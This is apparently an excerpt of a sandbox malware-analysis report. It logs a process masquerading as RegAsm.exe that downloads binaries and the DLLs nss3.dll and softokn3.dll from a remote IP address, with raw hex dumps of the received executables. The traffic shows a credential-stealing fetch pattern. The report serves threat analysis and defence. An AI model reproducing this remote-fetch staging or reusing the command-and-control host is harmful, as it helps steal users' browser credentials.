5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_
2024-03-28 07:36:11 UTC	16384	IN	Data Raw: 68 00 72 00 00 00 68 00 75 00 2d 00 68 00 75 00 00 00 68 00 79 00 2d 00 61 00 6d 00 00 00 69 00 64 00 2d 00 69 00 64 00 00 00 69 00 73 00 2d 00 69 00 73 00 00 00 69 00 74 00 2d 00 63 00 68 00 00 00 69 00 74 00 2d 00 69 00 74 00 00 00 6a 00 61 00 2d 00 6a 00 70 00 00 00 6b 00 61 00 2d 00 67 00 65 00 00 00 6b 00 6b 00 2d 00 6b 00 7a 00 00 00 6b 00 6e 00 2d 00 69 00 6e 00 00 00 6b 00 6f 00 2d 00 6b 00 72 00 00 00 6b 00 6f 00 6b 00 2d 00 69 00 6e 00 00 00 00 00 6b 00 79 00 2d 00 6b 00 67 00 00 00 6c 00 74 00 2d 00 6c 00 74 00 00 00 6c 00 76 00 2d 00 6c 00 76 00 00 00 6d 00 69 00 2d 00 6e 00 7a 00 00 00 6d 00 6b 00 2d 00 6d 00 6b 00 00 00 6d 00 6c 00 2d 00 69 00 6e 00 00 00 6d 00 6e 00 2d 00 6d 00 6e 00 00 00 6d 00 72 00 2d 00 69 00 6e 00 00 00 6d 00 73 00 2d Data Ascii: hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inko-krkok-inky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-
2024-03-28 07:36:11 UTC	16384	IN	Data Raw: 00 10 e8 7b 00 10 04 7c 00 10 00 00 00 00 d8 4c 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 f4 8a 00 10 00 00 00 00 01 00 00 00 04 00 00 00 44 8b 00 10 58 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 14 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 34 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 84 8b 00 10 98 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 34 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 74 8b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 58 4d 06 10 c8 8b 00 10 00 00 00 00 01 00 00 00 04 00 00 00 d8 8b 00 10 ec 8b 00 10 a0 7d 00 10 30 7d 00 10 dc 7d 00 10 00 00 00 00 58 4d 06 10 03 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 40 00 00 00 c8 8b 00 10 00 Data Ascii: {\|L@DX}0}}M@4}0}}4M@tXM}0}}XM@
2024-03-28 07:36:11 UTC	16384	IN	Data Raw: c0 89 45 f4 de ea d9 c9 d9 5d e8 d9 45 e8 d9 55 10 d9 ee da e9 df e0 f6 c4 44 7b 05 dd d8 d9 45 10 8d 45 ec 50 8d 45 f8 50 d9 5d ec e8 fc fa ff ff 59 59 3b f3 0f 8c aa fd ff ff eb 10 8d 4e 01 d9 1c b7 3b cb 7d 06 d9 ee d9 5c b7 04 5e 8b c7 5f 5b c9 c3 55 8b ec 51 56 33 f6 39 75 14 7e 37 d9 ee 57 8b 7d 10 d9 04 b7 d9 5d fc d9 45 fc dd e1 df e0 dd d9 f6 c4 44 7b 1a 51 d9 1c 24 ff 75 0c ff 75 08 e8 97 fc ff ff d9 ee 83 c4 0c 46 3b 75 14 7c d2 dd d8 5f 8b 45 08 5e c9 c3 55 8b ec 51 51 8b 4d 0c 85 c9 75 04 d9 ee c9 c3 8b 55 08 83 f9 01 0f 84 9d 00 00 00 d9 02 d9 5d fc d9 45 fc d9 ee dd e1 df e0 f6 c4 44 0f 8b 82 00 00 00 d9 42 04 d9 5d fc d9 45 fc dd e1 df e0 f6 c4 44 7b 6e 83 f9 02 74 5d d9 42 08 d9 5d fc d9 45 fc dd e2 df e0 dd da f6 c4 44 7b 49 d9 c2 d8 c1 Data Ascii: E]EUD{EEPEP]YY;N;}\^_[UQV39u~7W}]ED{Q$uuF;u\|_E^UQQMuU]EDB]ED{nt]B]ED{I
2024-03-28 07:36:11 UTC	16384	IN	Data Raw: f7 0f b7 06 66 3b c1 74 0e 66 3b c2 74 09 8b 45 08 33 db 8b 30 eb 43 03 f7 6a 04 5b 89 75 f8 66 83 3e 28 89 5d f4 75 32 8b de 03 df 68 07 01 00 00 0f b7 03 50 ff 15 ac 72 06 10 59 59 85 c0 75 e9 0f b7 03 83 f8 5f 74 e1 89 5d f8 8b 5d f4 83 f8 29 75 06 8b 75 f8 83 c6 02 8b 45 0c 85 c0 74 02 89 30 8b 45 08 5f 89 30 8b c3 5e 5b c9 c3 55 8b ec 83 ec 48 a1 c0 41 06 10 33 c5 89 45 fc 6b 4d 18 07 33 d2 8b 45 10 53 8b 5d 14 56 8b 75 0c 89 75 d0 89 45 b8 89 55 bc 89 55 c4 89 55 c0 89 4d cc 57 8b fa 83 f9 23 7e 06 6a 23 59 89 4d cc 6a 30 58 89 13 89 53 04 66 39 06 75 12 c7 45 c4 01 00 00 00 83 c6 02 66 39 06 74 f8 89 75 d0 0f b7 0e b8 b8 2d 00 10 89 4d c8 8b 4d cc c7 45 d4 16 00 00 00 8b 75 c8 66 39 30 8b 75 d0 74 0b 83 c0 02 83 6d d4 01 75 ec 8b c2 85 c0 74 26 3b Data Ascii: f;tf;tE30Cj[uf>(]u2hPrYYu_t]])uuEt0E_0^[UHA3EkM3ES]VuuEUUUMW#~j#YMj0XSf9uEf9tu-MMEuf90utmut&;
2024-03-28 07:36:11 UTC	16384	IN	Data Raw: cc cc cc cc cc cc 55 8b ec 6a ff 68 09 e7 03 10 64 a1 00 00 00 00 50 a1 c0 41 06 10 33 c5 50 8d 45 f4 64 a3 00 00 00 00 e8 79 7b 00 00 50 e8 71 d8 ff ff 59 8b 40 0c 8b 4d f4 64 89 0d 00 00 00 00 59 c9 c3 cc cc 55 8b ec 83 79 38 00 8b 45 08 75 03 83 c8 04 ff 75 0c 50 e8 28 00 00 00 5d c2 08 00 cc cc cc cc 55 8b ec 6a 00 ff 75 08 e8 13 00 00 00 5d c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 08 83 ec 1c 83 e0 17 89 41 0c 8b 49 10 56 23 c8 74 43 80 7d 0c 00 75 42 f6 c1 04 74 07 be 78 54 00 10 eb 0f be 90 54 00 10 f6 c1 02 75 05 be a8 54 00 10 8d 45 f8 6a 01 50 e8 f7 13 00 00 59 59 50 56 8d 4d e4 e8 bc e2 ff ff 68 a4 1a 04 10 8d 45 e4 50 eb 09 5e c9 c2 08 00 6a 00 6a 00 e8 f0 93 02 00 cc 53 57 8b f9 83 7f 4c 00 75 04 33 db eb 24 56 e8 Data Ascii: UjhdPA3PEdy{PqY@MdYUy8EuuP(]Uju]UEAIV#tC}uBtxTTuTEjPYYPVMhEP^jjSWLu3$V
2024-03-28 07:36:11 UTC	16384	IN	Data Raw: 83 c4 10 c6 04 1e 00 83 f8 10 72 0b 40 50 ff 37 e8 54 95 ff ff 59 59 89 37 8b c7 5f 5e 5b c9 c2 0c 00 e8 b3 be ff ff cc 55 8b ec 83 ec 0c 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d fc 3b c2 72 69 8b 43 14 8d 3c 11 57 8b cb 89 45 f4 e8 88 b1 ff ff 8b f0 8d 4e 01 51 e8 b2 94 ff ff 59 ff 75 18 89 7b 10 8d 4d 0c ff 75 14 8b 7d f4 89 45 f8 89 73 14 ff 75 10 ff 75 fc 83 ff 10 72 17 8b 33 56 50 e8 6b 03 00 00 8d 47 01 50 56 e8 d2 94 ff ff 59 59 eb 07 53 50 e8 56 03 00 00 8b 45 f8 5f 89 03 8b c3 5e 5b c9 c2 14 00 e8 25 be ff ff cc 55 8b ec 83 ec 10 8b 55 08 b8 ff ff ff 7f 53 8b d9 56 57 8b 4b 10 2b c1 89 4d f0 3b c2 0f 82 8f 00 00 00 8b 43 14 8d 3c 11 57 8b cb 89 45 fc e8 f6 b0 ff ff 8b f0 8d 4e 01 51 e8 20 94 ff ff 83 7d fc 10 59 0f be 4d 14 89 Data Ascii: r@P7TYY7_^[UUSVWK+M;riC<WENQYu{Mu}Esuur3VPkGPVYYSPVE_^[%UUSVWK+M;C<WENQ }YM
2024-03-28 07:36:12 UTC	16384	IN	Data Raw: 4d d4 53 33 c0 03 04 cb 52 13 7c cb 04 56 57 50 e8 f1 02 02 00 5b 8b 5d 08 8b f9 8b 4d d4 8b 75 d8 89 54 cb 04 8b 55 e8 89 04 cb 83 e9 01 89 4d d4 79 cf 5f 5e 5b c9 c3 55 8b ec 51 56 8b 75 14 33 d2 85 f6 7e 5f 53 8b 5d 08 29 5d 10 57 8b fb 89 75 fc 8b 5d 10 8b 0c 3b 03 0f 8b 44 3b 04 13 47 04 03 ca 89 0f 8d 7f 08 83 d0 00 8b d0 89 57 fc 83 67 fc 00 83 ee 01 75 dc 0b c6 8b 5d 08 74 22 8b 4d fc 3b 4d 0c 7d 1a 01 14 cb 8b 54 cb 04 13 d6 33 f6 89 54 cb 04 8b c2 21 74 cb 04 41 0b c6 75 e1 5f 5b 5e c9 c3 55 8b ec 8b 55 08 56 8b 75 0c 83 c2 f8 8d 14 f2 8b 02 0b 42 04 75 0b 8d 52 f8 4e 8b 0a 0b 4a 04 74 f5 8b c6 5e 5d c3 55 8b ec 53 56 33 db 33 f6 39 5d 0c 7e 30 57 8b 7d 08 ff 75 14 ff 75 10 ff 74 f7 04 ff 34 f7 e8 73 03 02 00 03 c3 89 04 f7 83 d2 00 8b da 89 5c Data Ascii: MS3R\|VWP[]MuTUMy_^[UQVu3~_S])]Wu];D;GWgu]t"M;M}T3T!tAu_[^UUVuBuRNJt^]USV339]~0W}uut4s\
2024-03-28 07:36:12 UTC	16384	IN	Data Raw: 89 75 fc 89 46 04 c7 06 7c 69 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 8b 45 0c 56 8b f1 89 75 fc 89 46 04 c7 06 e8 65 00 10 83 66 08 00 ff 15 d0 72 06 10 6a 00 89 46 08 ff 15 90 71 06 10 59 8b c6 5e c9 c2 08 00 56 8b f1 ff 76 0c c7 06 4c 68 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 56 8b f1 ff 76 0c c7 06 8c 66 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc 56 8b f1 c7 06 50 69 00 10 e8 e2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 c7 06 90 67 00 10 e8 c2 71 00 00 c7 06 28 52 00 10 5e c3 cc cc cc cc cc cc cc cc cc cc 56 8b f1 ff 76 08 c7 06 7c 69 00 10 ff 15 90 71 06 10 59 c7 06 28 52 00 10 Data Ascii: uF\|ifrjFqY^UQEVuFefrjFqY^VvLhqY(R^VvfqY(R^VPiq(R^Vgq(R^Vv\|iqY(R
2024-03-28 07:36:12 UTC	16384	IN	Data Raw: 80 7f 04 00 75 07 8b cf e8 85 26 00 00 0f b7 47 06 50 ff b5 74 ff ff ff e8 9a a8 ff ff 59 59 83 f8 0a 73 3c 8a 80 2c 6a 00 10 8b 4d 8c 88 85 64 ff ff ff ff b5 64 ff ff ff e8 5f 18 ff ff 8b 4d d8 8d 45 d8 83 fb 10 72 02 8b c1 80 3c 30 7f 74 4c 8d 45 d8 83 fb 10 72 02 8b c1 fe 04 30 eb 3a 8d 45 d8 83 fb 10 72 03 8b 45 d8 80 3c 30 00 74 45 80 7f 04 00 0f b7 47 06 75 0b 8b cf e8 10 26 00 00 0f b7 47 06 66 3b 85 60 ff ff ff 75 27 6a 00 8d 4d d8 e8 04 18 ff ff 46 8b 5d ec 8b cf e8 24 11 00 00 ff 75 98 8b cf e8 de 72 00 00 84 c0 0f 84 4a ff ff ff 8b 5d 90 85 f6 74 13 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 80 3c 30 00 7e 52 46 8a 45 a7 83 7d d4 10 8d 55 c0 72 03 8b 55 c0 84 c0 75 49 85 f6 74 5e 8a 0a 80 f9 7f 74 57 83 ee 01 74 11 83 7d ec 10 8d 45 d8 72 03 8b 45 d8 Data Ascii: u&GPtYYs<,jMdd_MEr<0tLEr0:ErE<0tEGu&Gf;`u'jMF]$urJ]t}ErE<0~RFE}UrUuIt^tWt}ErE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49726	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:12 UTC	202	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Cache-Control: no-cache
2024-03-28 07:36:13 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:13 GMT Content-Type: application/octet-stream Content-Length: 2046288 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-1f3950" Accept-Ranges: bytes
2024-03-28 07:36:13 UTC	16136	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a e9 51 fe ff ff c7 41 14 0b 00 00 00 8b 51 18 Data Ascii: i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MAQAQ
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 08 8b 80 a0 00 00 00 83 e0 0c 83 f8 08 0f 85 Data Ascii: ti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 8b 0d 48 11 1e 10 89 ca 09 c2 0f 84 b1 fe ff Data Ascii: w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SLH
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd 1b 10 68 78 fc 1b 10 6a 0e e8 0a 8f 02 00 83 Data Ascii: $pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hhhxj
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 b2 00 00 8b 45 08 ff 70 1c 68 20 85 1c 10 eb Data Ascii: o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$hEph
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b 5c 24 18 89 d8 83 c0 04 68 fc 01 00 00 6a 00 Data Ascii: h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$\$hj
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d ff ff ff 8b 10 8b 4d e8 83 c4 10 5e 5f 5b 5d Data Ascii: HukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-MmM^_[]
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff 01 74 09 85 ff 75 0a e9 69 03 00 00 c6 44 02 Data Ascii: WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$RttuiD
2024-03-28 07:36:13 UTC	16384	IN	Data Raw: c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 00 00 00 00 e9 36 f8 ff ff 8b 40 14 e9 d1 e9 Data Ascii: D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$6@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49727	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:15 UTC	206	OUT	GET /softokn3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Cache-Control: no-cache
2024-03-28 07:36:15 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:15 GMT Content-Type: application/octet-stream Content-Length: 257872 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-3ef50" Accept-Ranges: bytes
2024-03-28 07:36:15 UTC	16138	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSw
